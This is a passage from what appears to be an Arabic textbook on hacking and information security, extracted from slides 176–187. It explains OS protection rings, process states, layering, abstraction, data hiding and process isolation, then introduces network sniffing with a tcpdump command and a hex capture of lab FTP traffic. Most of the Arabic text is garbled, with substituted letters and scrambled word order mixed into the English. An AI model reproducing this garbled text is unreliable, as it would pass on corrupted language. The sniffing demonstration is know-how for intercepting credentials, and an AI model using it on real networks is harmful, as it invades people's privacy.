    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [176] ‫ال‬ ‫ثها‬‫د‬ ُ ‫حي‬ ‫التي‬ ‫املشاكل‬ ‫ذذه‬ ‫ولكن‬ Crackers ‫ال‬ ‫و‬ Malware Authors ‫املناقع‬ ‫بعض‬ ‫لنا‬ ‫سببت‬ ..‫وغريذم‬ ‫من‬ ‫بالرغم‬ ‫األ‬ .!‫بسببهم‬ ‫منها‬ ‫عانينا‬ ‫التي‬ ‫َضار‬ ‫جيربونن‬ ‫لهنم‬ !‫احللول‬ ‫ولجياد‬ ‫هلم‬ ‫التصدي‬ ‫عىل‬ ‫ا‬ . They Force a Response… Which fixes the problem!. ‫تاب‬‫بالك‬ ‫ذذا‬ ‫ين‬ ُ‫ر‬‫ذك‬ُ‫ي‬ “Man Search for Meaning” ‫ه‬‫ب‬‫صاح‬‫ل‬ Viktor Franki . ‫بتأليفه‬ ‫قام‬ ‫حيث‬ ‫الكتاب‬ ‫ذذا‬ ‫م‬َ‫د‬‫ق‬ ‫من‬ ‫بالرغم‬ ‫عام‬ ‫يف‬ 1946 ‫كرة‬‫ق‬ ‫ل‬‫حيم‬ ُ‫ه‬‫أن‬ ‫لال‬ ،‫قويه‬ ‫وذي‬ : " ‫املعانا‬ ‫وجود‬ ‫لوال‬ ‫ة‬ !‫معنى‬ ‫للحياة‬ ‫أصبح‬ ‫ملا‬ .. " . 1946 ‫بقصة‬ ‫ين‬ ُ‫ر‬‫ذك‬ُ‫ي‬ ‫التاريخ‬ ‫ذذا‬ ..‫؟؟‬ " ‫مانديال‬ ‫نيلسون‬ " ‫لىل‬ ‫انتقل‬ ‫ققد‬ ،! " ‫أورالندو‬ " ‫معاناته‬ ‫رحلة‬ ‫لتبدأ‬ ‫العام‬ ‫ذذا‬ ‫يف‬ ‫ث‬ ،ً‫ا‬‫عام‬ ‫عرشين‬ ‫و‬ ٍ‫ع‬‫لسب‬ ‫بسجنه‬ ً‫ا‬‫مرور‬ ،‫رية‬ُ‫حل‬‫ا‬ ‫أجل‬ ‫من‬ ‫عبه‬ َ ‫ش‬ ‫لم‬ ُ‫وح‬ ُ‫ه‬‫لم‬ ُ‫ح‬ ‫ليتحقق‬ ‫االنتخابات‬ ‫يف‬ ‫قوزه‬ ‫النهاية‬ ‫يف‬ ‫م‬ ‫ن‬َ‫م‬ ‫وحلياة‬ ‫ياته‬‫حل‬ ‫املعنى‬ ‫عاناة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫ت‬َ‫ل‬ّ‫ك‬ َ ‫ش‬َ‫ق‬ ،ً‫ا‬‫كاقح‬ُ‫م‬‫و‬ ً‫ال‬‫مناض‬ ‫مانديال‬ ‫من‬ َ ‫ل‬َ‫ع‬ َ‫ج‬ ‫والقهر‬ ‫لم‬ُ‫ظ‬‫ال‬ ‫قانتشار‬.. ،‫رية‬ُ‫حل‬‫با‬ ‫قال‬ ‫الذي‬ َ ‫ق‬َ‫د‬ َ ‫وص‬ ،!ُ‫ه‬َ‫ع‬َ‫م‬ َ ‫ل‬ َ ‫ناض‬ " ُ‫حل‬‫ا‬ ‫من‬ ‫متتلك‬ ‫ما‬ ‫بقدر‬ ‫الكرامة‬ ‫من‬ ‫متتلك‬ ‫أنت‬ ‫ية‬ ِّ‫ر‬ " . ‫ال‬ ‫ذؤالء‬ ‫وجود‬ ‫لوال‬ ..‫نقول‬ ً‫ا‬‫أيض‬ ُ‫َحن‬‫ن‬‫و‬ Crackers ‫ال‬ ‫و‬ Malware Authors ..‫األرشار‬ ‫من‬ ‫وغريذم‬ ‫ال‬ ‫لىل‬ ‫احلاجة‬ ‫لنا‬ ‫ظهرت‬ ‫ملا‬ " Security " ..‫ها‬‫أنواع‬ ‫و‬ ‫ا‬‫أشكاهل‬ ‫كل‬ُ‫ب‬
  • 177.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [177] Computer Security ‫ال‬ ‫يف‬ ‫تكلمنا‬ ‫باب‬ ‫التي‬ ‫الربامج‬ ‫عن‬ ‫األول‬ ‫يتم‬ ‫عمل‬ ‫ثم‬ ‫كتابتها‬ Compile ‫هلا‬ ‫و‬ ‫ثم‬ ‫من‬ ‫ت‬ ‫شغيلها‬ ‫ال‬ ‫عىل‬ O.S ، ‫أننا‬ ‫بمعنى‬ ‫ال‬ ‫مع‬ ‫بالتعامل‬ ‫الربنامج‬ ‫هلذا‬ ‫صالحيات‬ ‫ُعطي‬‫ن‬ ‫ُنا‬‫ك‬ Resources ‫ال‬ ‫هلذا‬ ‫املختلفة‬ O.S ‫ال‬ ‫مع‬ ‫يتعامل‬ ‫كأن‬ Memory ‫أو‬ ‫بفتح‬ ‫يقوم‬ file descriptors ‫لنشاء‬ ‫أو‬ Sockets ‫ال‬ ‫مع‬ ‫يتعامل‬ ‫كان‬ ً‫ا‬‫أيض‬ ،‫املهام‬ ‫من‬ ‫وغريذا‬ Hardware ‫ا‬ ‫خلاص‬ ‫ة‬ ‫بالكمبيوتر‬ ‫األمر‬ ‫تطلب‬ ‫لذا‬ . ‫كنا‬ ‫أثناء‬ ‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫نقوم‬ ‫املرحلة‬ ‫ذذه‬ Applications ‫نفه‬ ‫كي‬ ،!‫نفسها‬ ‫بتنفيذ‬ ‫تقوم‬ ‫كانت‬ ‫كيف‬ ‫م‬ ‫دورذا‬ . ‫لكننا‬ ‫اآلن‬ ‫سن‬ ‫بدأ‬ ‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ Operating System ‫قلسفته‬ ‫لنرى‬ ،!‫نفسه‬ ‫يف‬ ‫ال‬ ‫تعامل‬ ‫ال‬ ‫ذذه‬ ‫مع‬ Applications ‫ال‬ ‫و‬ Users . ‫ق‬ ‫عد‬ُ‫ي‬ ‫هذا‬ ً‫ال‬‫مثا‬ ً‫ا‬‫جيد‬ ‫ل‬ ‫ن‬ ‫به‬ ‫فهم‬ ‫واحلامية‬ ‫األمن‬ ‫أساسيات‬ . ‫بال‬ ‫تشغيله‬ ‫أثناء‬ ‫نفسه‬ ‫تأمني‬ ‫يف‬ ‫الكمبيوتر‬ ‫يستخدمها‬ ‫التي‬ ‫األساليب‬ ‫عىل‬ ‫ُطلق‬‫ن‬ “Protection Mechanisms” ‫ال‬ ‫ذذه‬ Mechanisms :‫ذي‬ ‫رئيسية‬ ‫أنواع‬ ‫ثالثة‬ ‫لىل‬ ‫تنقسم‬  Rings  Operational States  Security Modes ‫ال‬ ‫عن‬ ‫سنتكلم‬ Mechanisms ‫والثاني‬ ‫األوىل‬ ‫ة‬ :
  • 178.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [178] Rings ‫ال‬ ‫ذذا‬ ‫يقوم‬ Architecture ‫بعمل‬ organize ‫ال‬ ‫جلميع‬ Applications ‫ال‬ ‫أو‬ utilities ‫أو‬ ‫سيطرة‬ ‫حتت‬ ‫يعمل‬ ‫يشء‬ ‫أي‬ ‫التشغيل‬ ‫نظام‬ ،‫ذذا‬ “Under the control of this O.S” . ‫ال‬ ‫ذذا‬ ‫يقوم‬ Architecture ‫داطل‬ ‫برتتيبهم‬ Rings ُ‫ن‬ِّ‫ك‬ُ‫مت‬ ‫كي‬ ‫حواجز‬ ‫بينها‬ ‫تفصل‬ ‫ن‬‫م‬ ‫نا‬ ‫ال‬ ‫ذذه‬ ‫بني‬ ‫بور‬ُ‫ع‬‫ال‬ Rings ‫كام‬ ، ‫ن‬ ‫يف‬ ‫راذم‬ ‫الشكل‬ . ‫ُلام‬‫ك‬‫ق‬ ‫أكثر‬ ‫اجتهنا‬ ‫لىل‬ ‫ال‬ ‫ل‬‫داط‬ ‫يف‬ ‫ال‬ Ring ، ‫ُل‬‫ك‬ ‫وأكرب‬ ‫أعىل‬ ‫صالحيات‬ ‫عىل‬ ‫حصلنا‬ ‫ام‬ . ‫ال‬ ‫أن‬ ‫يظهر‬ “Ring 0” ‫يف‬ ‫األعىل‬ ‫ذي‬ ‫الصالحيات‬ ‫لل‬ ‫ن‬‫مك‬ُ‫ي‬ ‫حيث‬ ، Processes ‫ال‬ ‫ذذه‬ ‫صالحيات‬ ‫متتلك‬ ‫التي‬ Ring ‫تقوم‬ ‫أن‬ ‫بعمل‬ Access ‫ألي‬ Resources ‫كالتعامل‬ .. ‫ال‬ ‫مع‬ CPU ، ‫ال‬ ‫مع‬ ‫التعامل‬ ‫أو‬ Memory ‫ري‬ ُ‫ح‬ ‫بكل‬ ‫ة‬ .
  • 179.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [179] ‫ال‬ ‫ذذه‬ ‫يف‬ ‫يتواجد‬ Ring ‫ا‬ ‫ل‬ “O.S Kernel” ‫ال‬ ‫عد‬ُ‫ي‬ ‫وِبذا‬ “Most Trusted” ‫بالنسبة‬ ‫ال‬ ‫لاىل‬ Computer Hardware ، ‫ال‬ ‫مع‬ ‫بارش‬ُ‫م‬ ‫بشكل‬ ‫ل‬ُ‫م‬‫التعا‬ ‫من‬ ‫يتمكن‬ ‫ألنه‬ physical hardware ‫كا‬ ‫ل‬ Memory . ‫ال‬ ‫لىل‬ ‫نأيت‬ Ring 1 : ‫ال‬ ‫بقية‬ ‫تقع‬ ‫نا‬ُ‫ذ‬ Operations ‫ال‬ ‫ِبا‬ ‫يقوم‬ ‫التي‬ ‫العادية‬ O.S ‫ال‬ ‫كتنفيذ‬ Tasks ‫أو‬ ‫املختلفة‬ ‫عمل‬ Switching between Processes . :‫عليها‬ ‫مثال‬ ‫سأعطيك‬ ‫ملف‬ ‫بفتح‬ ‫أقوم‬ ‫عندما‬ word ‫ال‬ ‫بفتح‬ ‫ألقوم‬ ُ‫ه‬‫ك‬ ُ‫أتر‬ ‫ثم‬ ،‫األسطر‬ ‫بعض‬ ‫قيه‬ ‫ُب‬‫ت‬‫وأك‬ Browser .‫االنرتنت‬ ‫ألتصفح‬ ‫م‬ ‫أنتهي‬ ‫وعندما‬ ‫ال‬ ‫ملف‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫سأعود‬ ‫التصفح‬ ‫ن‬ Word . ‫ال‬ ‫حينها‬ ‫يقوم‬ O.S ‫بعمل‬ “Context Switch” ‫ال‬ ‫بحفظ‬ َ‫م‬‫قا‬ ‫قد‬ ‫كان‬ ‫حيث‬ process ‫بال‬ ‫اخلاصة‬ Word ‫ال‬ ‫لىل‬ ‫االنتقال‬ ‫عملية‬ ‫قبل‬ ‫عليه‬ ‫كانت‬ ‫وضع‬ ‫آطر‬ ‫عند‬ Browser . ‫أطرى‬ ً‫ة‬‫مر‬ ‫لليها‬ ‫بالعودة‬ ‫ليقوم‬ . ‫ال‬ ‫لىل‬ ‫ننتقل‬ Ring 2 : ‫ح‬ ‫لىل‬ ً‫ا‬‫أيض‬ ‫ُعد‬‫ت‬ ‫ما‬ ٍ‫د‬ Privileged ‫ال‬ ‫ِبا‬ ‫يتواجد‬ ‫حيث‬ Input/Out Put Drivers ‫ال‬ ‫و‬ system utilities ،‫األطرى‬ ‫بال‬ ‫أشبه‬ ‫ذي‬ ‫حيث‬ Special Files ‫ال‬ ‫أو‬ ‫للربامج‬ ‫يمكن‬ ‫ال‬ ‫والتي‬ Apps ‫عمل‬ Access ‫االستعان‬ ‫دون‬ ‫لليها‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫بصالحيات‬ Ring .
  • 180.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [180] ‫ال‬ ً‫ا‬‫وأطري‬ Ring 3 .. ‫نا‬ُ‫وذ‬ ‫ال‬ ‫تقع‬ Applications ‫والرب‬ ‫ها‬‫بأنواع‬ ‫امج‬ ، ‫بال‬ ‫اخلاصة‬ ‫البيئة‬ ‫ذي‬ ‫ذذه‬ User ‫يف‬ ‫طرق‬ ‫أي‬ ‫لحداث‬ ‫ُه‬‫ن‬‫مك‬ُ‫ي‬ ‫ال‬ ‫حيث‬ .!‫لديه‬ ‫ليا‬ُ‫ع‬‫ال‬ ‫الصالحيات‬ ‫وجود‬ ‫لعدم‬ ‫النظام‬ ‫الشكل‬ ‫ذذا‬ ‫يوضح‬ ‫ال‬ Kernel ‫الذي‬ ‫ال‬ ‫يف‬ ‫يقع‬ “Ring 0” ‫ال‬ ‫مع‬ ‫مبارش‬ ‫بشكل‬ ‫يتعامل‬ ‫حيث‬ Hardware .‫يظهر‬ ‫كام‬ ‫السامح‬ ‫يتم‬ ‫وال‬ ‫لل‬ Applications ‫بالتعامل‬ ‫ب‬ ‫ال‬ ‫مع‬ ‫مبارش‬ ‫شكل‬ Hardware ‫من‬ ً‫ال‬‫بد‬ ، ‫ذلك‬ ‫ال‬ ‫لىل‬ ‫طلب‬ ‫لرسال‬ ‫يتم‬ Kernel ‫يقرر‬ ‫وذو‬ ‫السام‬ ‫سيتم‬ ‫لذا‬ ‫ما‬ ‫عد‬ ‫العتبارات‬ ً‫ا‬‫وقق‬ ‫ال‬ ‫أم‬ ‫ح‬ .‫ة‬ Operational States ‫ال‬ ً‫ا‬‫أيض‬ ‫ِبا‬ ‫نعني‬ “Process States” ‫ل‬ ‫تصنيف‬ ‫ناك‬ُ‫ذ‬ ‫ل‬ Process ‫ال‬ ‫حيث‬ ‫من‬ Process Modes ‫قهي‬ ‫ال‬ ‫نظام‬ ‫يف‬ ‫تكون‬ ‫أن‬ ‫لما‬ ( User Mode ) ‫تكون‬ ‫حيث‬ ‫نخفض‬ُ‫م‬ ‫الصالحيات‬ ‫ة‬ . “Low Privileges” ، ‫ال‬ ‫نظام‬ ‫يف‬ ‫تكون‬ ‫أن‬ ‫ولما‬ ( Privileged Mode ) ‫متتلك‬ ُ ‫حيث‬ ‫ال‬ ‫الحيات‬ َ ‫ص‬ System . ‫ل‬ ‫ذيا‬ ‫ن‬ ‫ال‬ ‫عىل‬ ‫ف‬‫تعر‬ States ‫أي‬ ‫ِبا‬ ‫ر‬ُ َ‫مت‬ ‫التتي‬ Process .‫عملها‬ ‫من‬ ‫تنتهي‬ ‫أن‬ ‫وحتى‬ ‫تبدأ‬ ‫أن‬ ُ‫نذ‬ُ‫م‬ ‫بفتح‬ ‫نقوم‬ ‫عندما‬ ً‫ال‬‫قمث‬ Application ‫بفتح‬ ‫سيقوم‬ ،‫صغري‬ Process ‫طاص‬ ‫ة‬ ‫ال‬ ‫يف‬ ‫نراذا‬ ‫التي‬ ‫وذي‬ ‫به‬ Process manager ، ‫ال‬ ‫ذذه‬ process ‫ال‬ ‫يستطيع‬ ‫وغريذا‬ O.S ‫بي‬ ‫والتبديل‬ ،‫الوقت‬ ‫نفس‬ ‫يف‬ ‫معهم‬ ‫التعامل‬ ‫ريد‬ُ‫ي‬‫ما‬ ‫ولهناء‬ ،‫نهم‬ .‫وذكذا‬ ‫منهم‬
  • 181.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [181] ‫ال‬ ‫ذذه‬ ‫ِبا‬ ُّ‫ر‬ُ َ‫مت‬ ‫التي‬ ‫احلاالت‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫س‬ Process : Ready: The process is ready to resume or begin processing as soon as it is scheduled for execution. If the CPU is available when the process reaches this state, it will transition directly into the running state. Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for a device or access request. Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for some reason. Stopped When a process finishes or must be terminated (because an error occurs, a required resource is not available, or a resource request can’t be met), it goes into a stopped state.
  • 182.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [182] ‫رأي‬ ‫كام‬ ‫نا‬ ‫ال‬ ‫يقوم‬ ، Operating System ‫ال‬ ‫ذذه‬ ‫باستخدام‬ Mechanisms ‫حل‬ ‫والواقع‬ ،‫به‬ ‫املحيطة‬ ‫البيئة‬ ‫من‬ ‫نفسه‬ ‫امية‬ ‫ة‬ ‫ال‬ ‫يف‬ ً‫ا‬‫حتديد‬ ( Ring 3 .) ‫و‬ ‫احلقيق‬ ‫يف‬ ‫ة‬ ً‫ام‬‫دائ‬ ‫ال‬ ‫مع‬ ‫التشغيل‬ ‫نظام‬ ‫يتعامل‬ ‫ما‬ Applications ‫بأسلوب‬ ‫بأنواعها‬ ‫والربامج‬ ‫العبار‬ ‫ذذه‬ ‫يف‬ ‫يتلخص‬ ،‫وحيد‬ ‫ة‬ : “Software is Not Trusted!” Technical Mechanisms ‫ال‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬ Technical Mechanisms ‫الت‬ ‫ال‬ ‫تصميم‬ ‫عند‬ ‫االعتبار‬ ‫يف‬ ‫تؤطذ‬ ‫ي‬ Operating System ، ‫حي‬ ‫ل‬ ‫ستوضح‬ ‫ث‬ ‫نا‬ ‫ك‬ .‫به‬ ‫املحيطة‬ ‫البيئة‬ ‫مع‬ ‫التشغيل‬ ‫نظام‬ ‫يتعامل‬ ‫يف‬ ‫ومن‬ ‫ذذه‬ ‫بعض‬ ‫اآلليات‬ ‫ماييل‬ : Layering, Abstraction, Data Hiding, and Process Isolation :‫بالرتتيب‬ ‫سنتناوهلم‬ Layering ‫ال‬ ‫ذذا‬ Concept ‫ال‬ ‫ملبدأ‬ ‫مشابه‬ Rings ‫ال‬ ‫يف‬ ‫به‬ ‫املعمول‬ x86 Architecture ، ‫و‬ ‫املهام‬ ‫وضع‬ ‫عىل‬ ‫ينص‬ ‫قهو‬ ‫ال‬ Functions ‫احلساس‬ ‫ة‬ ‫ال‬ ‫يف‬ ‫همة‬ُ‫مل‬‫وا‬ ( Low Layers ) ‫ال‬ ‫يف‬ ‫أمهية‬ ‫األقل‬ ‫ثم‬ (Upper Layers) ، ..‫وذكذا‬ ‫مكن‬ُ‫ي‬ ‫ال‬ ‫ذذه‬ ‫بني‬ ‫التواصل‬ Layers ‫عرب‬ " interfaces " ‫دد‬ ُ ‫حم‬ ‫ة‬ ‫كي‬‫ل‬ .!‫ذذا‬ ‫التواصل‬ ‫رشوط‬ ‫قرض‬ ‫من‬ ‫نتمكن‬ ‫ُل‬‫ك‬‫ق‬ Layer ‫أي‬ ‫من‬ ‫ب‬ُ‫ع‬‫التال‬ ‫من‬ ‫حممية‬ Layers .‫أطرى‬ Each layer is protected from tampering by any other layer, Also outer layers cannot violate or override any security policy enforced by an inner layer.
  • 183.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [183] Abstraction ‫ال‬ ‫ذذا‬ Abstraction ‫ال‬ ‫مفهوم‬ ‫يشبه‬ “Black Boxing” ..‫اليشء‬ ‫بعض‬ ‫ال‬ ‫وماذذا‬ Black Box ‫؟‬ ‫ال‬ ‫عىل‬ ‫املصطلح‬ ‫ذذا‬ ‫ُطلق‬‫ن‬ Device ‫ال‬ ‫أو‬ System ‫ال‬ ‫أو‬ Object ‫منك‬ ‫يستقبل‬ ‫الذي‬ inputs ‫بإطراج‬ ‫ويقوم‬ Outputs ، ‫عىل‬ ‫ك‬ُ‫ع‬‫طل‬ُ‫ي‬ ‫وال‬ ‫العمليات‬ ‫ق‬ ‫حدثت‬ ‫التي‬ ‫بينهم‬ ‫يام‬ .! ‫ال‬ ‫عىل‬ ُ‫ه‬َ‫ط‬‫ُسق‬‫ن‬‫ل‬ ‫جئنا‬ ‫قلو‬ O.S ‫أن‬ ‫ُالحظ‬‫ن‬‫ق‬ ‫الويندوز‬ ‫مثل‬ ‫تشغيل‬ ‫نظام‬ ، ‫عندما‬ ‫حتدث‬ ‫التي‬ ‫التفاصيل‬ ‫عىل‬ ‫ك‬ُ‫ع‬‫طل‬ُ‫ي‬ ‫ال‬ ‫ال‬ ‫برنامج‬ ‫بفتح‬ ‫تقوم‬ Word ً‫ال‬‫مث‬ ‫ال‬ ‫يف‬ ‫ذو‬ ‫بينام‬ ‫لك‬ ‫صغرية‬ ‫صورة‬ ‫بإظهار‬ ‫ويكتفي‬ ، Back Ground ‫بعمل‬ ‫يقوم‬ .‫لك‬ ‫الربنامج‬ ‫لفتح‬ ‫الالزمة‬ ‫اإلعدادات‬ ‫ال‬ ‫مفهوم‬ ‫وضح‬ُ‫ي‬ ‫الشكل‬ Black Boxing : ‫يف‬ ‫ال‬ ‫عمليات‬ Access Controls ،‫املثال‬ ‫سبيل‬ ‫عىل‬ ‫املناسب‬ ‫الصالحيات‬ ‫بإعطاء‬ ‫االنشغال‬ ‫من‬ ً‫ال‬‫بد‬ ‫ة‬ ‫لكل‬ User ، ُ‫ذ‬ ‫سمى‬ُ‫ي‬‫و‬ ‫نا‬ “Subject” .. ‫ي‬ ‫كون‬ ‫ال‬ ‫عىل‬ ‫الرتكيز‬ Objects ً‫ا‬‫عوض‬ ‫عن‬ ‫ذ‬ ‫لك‬ ‫أن‬ ‫بمعنى‬ ، ‫نقوم‬ ‫نا‬ ‫بإنشاء‬ Groups ، ‫ثم‬ ‫ن‬ ‫لكل‬ ‫الصالحيات‬ ‫عطي‬ group ،‫منهم‬ ‫ق‬ ‫ال‬ ‫تصنيف‬ ‫يتم‬ users ‫ال‬ ‫ذذه‬ ‫عىل‬ ‫توزيعهم‬ ‫عرب‬ groups .
  • 184.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [184] ‫ال‬ ‫ينتمي‬ ‫أن‬ ‫وبمجرد‬ user ‫ال‬ ‫لىل‬ group ‫ال‬ ‫ذذا‬ ‫صالحيات‬ ‫سيمتلك‬ ،‫له‬ ‫املناسب‬ group . ‫ذذ‬ ‫عند‬ ‫قائدته‬ ‫يظهر‬ ‫األمر‬ ‫ا‬ ‫متفاوت‬ ‫وبصالحيات‬ ‫ر‬ُ‫ث‬ُ‫ك‬ ‫مستخدمني‬ ‫مع‬ ‫التعامل‬ ‫ة‬ . Data Hiding ‫ال‬ ‫مفهوم‬ ‫ُشبه‬‫ت‬ ‫اخلاصية‬ ‫ذذ‬ Layering ‫منحها‬ ‫طريق‬ ‫عن‬ ‫للبيانات‬ ‫احلامية‬ ‫من‬ ‫نوع‬ ‫توقر‬ ‫قهي‬ ،ً‫ال‬‫قلي‬ Security Level ‫عين‬ُ‫م‬ ‫ة‬ ‫أي‬ ‫وبالتايل‬ ، Process ‫لىل‬ ‫تنتمي‬ Security Level ‫ل‬ ‫تلفة‬ ُ ‫ُم‬ ‫طرى‬ُ‫أ‬ ‫ن‬ ‫البيانات‬ ‫ذذه‬ ‫ف‬‫َش‬‫ك‬ ‫ن‬‫م‬ ‫ّن‬‫ك‬َ‫تتم‬ . It ensures that data existing at one level of security is not visible to processes running at different security levels. Process Isolation ‫ال‬ ‫يستخدمها‬ ‫التي‬ ‫اخلصائص‬ ‫أذم‬ ‫من‬ ‫اخلاصية‬ ‫ذذه‬ O.S ‫ال‬ ‫ومجيع‬ ‫نفسه‬ ‫حلامية‬ resources ‫ال‬ ‫سيطرته‬ ‫حتت‬ ‫تقع‬ ‫تي‬ . ‫ال‬ ‫تقسيم‬ ‫نا‬ُ‫ذ‬ ‫قيتم‬ memory ‫ال‬ ‫أو‬ ‫للربامج‬ ‫السامح‬ ‫ويتم‬ ،‫بعضها‬ ‫عن‬ ‫معزولة‬ ‫مساحات‬ ‫لىل‬ Applications ‫ال‬ ‫أو‬ utilites ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫تعمل‬ ‫التي‬ O.S .‫احتياجاهتا‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫ساحات‬‫امل‬ ‫ذذه‬ ‫باستخدام‬ ‫ال‬ ‫ذذه‬ ‫بحامية‬ ‫التشغيل‬ ‫نظام‬ ‫ويقوم‬ processes ‫أي‬ ‫تطغى‬ ‫ال‬ ‫بحيث‬ process ‫أي‬ ‫نع‬َ‫م‬‫ب‬ ‫وذلك‬ ،‫طرى‬ُ‫أ‬ ‫عىل‬ process ‫عمل‬ ‫اولة‬ ُ ‫حم‬ ‫من‬ access ‫ال‬ ‫ل‬‫داط‬ ‫ة‬ َ‫ساح‬‫م‬ ‫ألي‬ memory َ ‫ص‬‫ص‬ ُ ‫ُم‬ ‫ليست‬ ‫ة‬ .!‫ا‬ َ‫هل‬ Requires that the operating system provide separate memory spaces for each process’s instructions and data. It also requires that the operating system enforce those boundaries, preventing one process from reading or writing data that belongs to another process.
  • 185.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [185] ‫بال‬ ‫املتعلقة‬ ‫األساسيات‬ ‫بعض‬ ‫عن‬ ‫احلديث‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬ “Computer Security” . ‫موضوع‬ ‫لىل‬ ‫سننتقل‬ ‫جديد‬ .. ُ ‫حيث‬ ‫بع‬ ‫ودراسة‬ ‫بتحليل‬ ‫نقوم‬ ‫كال‬ ‫ة‬َ‫هري‬ َ ‫الش‬ ‫ت‬ َ ‫ام‬َ‫ج‬َ‫اهل‬ ‫أنواع‬ ‫ض‬ Buffer Overflow ‫وغري‬ ..‫ذا‬ ‫استيعابك‬ ‫من‬ ‫تأكد‬ ‫هم‬َ‫ف‬‫ال‬ َ ‫ك‬َ‫ل‬ ‫ن‬َ‫م‬‫َض‬‫ن‬ ‫كي‬ ‫الثاين‬ ‫الباب‬ ‫يف‬ ‫تناولناذا‬ ‫التي‬ ‫الشبكات‬ ‫وأمثلة‬ ،‫األول‬ ‫الباب‬ ‫يف‬ ‫رشحناذا‬ ‫التي‬ ‫الربجمة‬ ‫ألساسيات‬ ..‫اهلل‬ ‫بإذن‬ ‫مة‬‫القاد‬ ‫قرات‬َ‫ف‬‫لل‬ ‫يد‬َ‫جل‬‫ا‬
  • 186.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [186] Network Sniffing ‫ع‬ ‫ُطلق‬‫ن‬ ‫بعمل‬ ‫يقوم‬ ‫الصغريالذي‬ ‫الربنامج‬ ‫ذذا‬ ‫ىل‬ Intercept ‫لل‬ Traffic ‫وعمل‬ ‫ما‬ ٍ‫شبكة‬ ‫الل‬‫ط‬ ‫املار‬ Log ‫ال‬ ‫هلذا‬ Traffic ‫بال‬ “Network Sniffer” . ‫ال‬ ‫مثل‬ ‫برنامج‬ ‫يقوم‬ tcpdump ‫ع‬‫ض‬َ‫و‬ ‫عىل‬ ‫لديك‬ ‫الشبكة‬ ‫كارت‬ ‫بوضع‬ “Promiscuous Mode” ، ‫ال‬ ‫ذذا‬ mode ‫ب‬ ‫القيام‬ ‫ن‬‫م‬ ُ‫ه‬ُ‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬ ‫عملية‬ ‫ال‬ “packet-capturing” . ‫ال‬ ‫نتائج‬ ‫ذذه‬ tcpdump ‫التقاط‬ ‫ر‬‫ُظه‬‫ت‬ ‫والتي‬ ‫احل‬ ‫بال‬ ‫اخلاص‬ ‫ساب‬ FTP . reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118' tcpdump: listening on eth0 21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 17316 <nop,nop,timestamp 466808 920202> (DF) 0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v 0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^... 0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x 0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft. 0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99. 0x0050 3133 13 21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 <nop,nop,timestamp 920662 466808> (DF) [tos 0x10] 0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V 0x0030 0007 1f78 ...x 21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10] 0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z
  • 187.
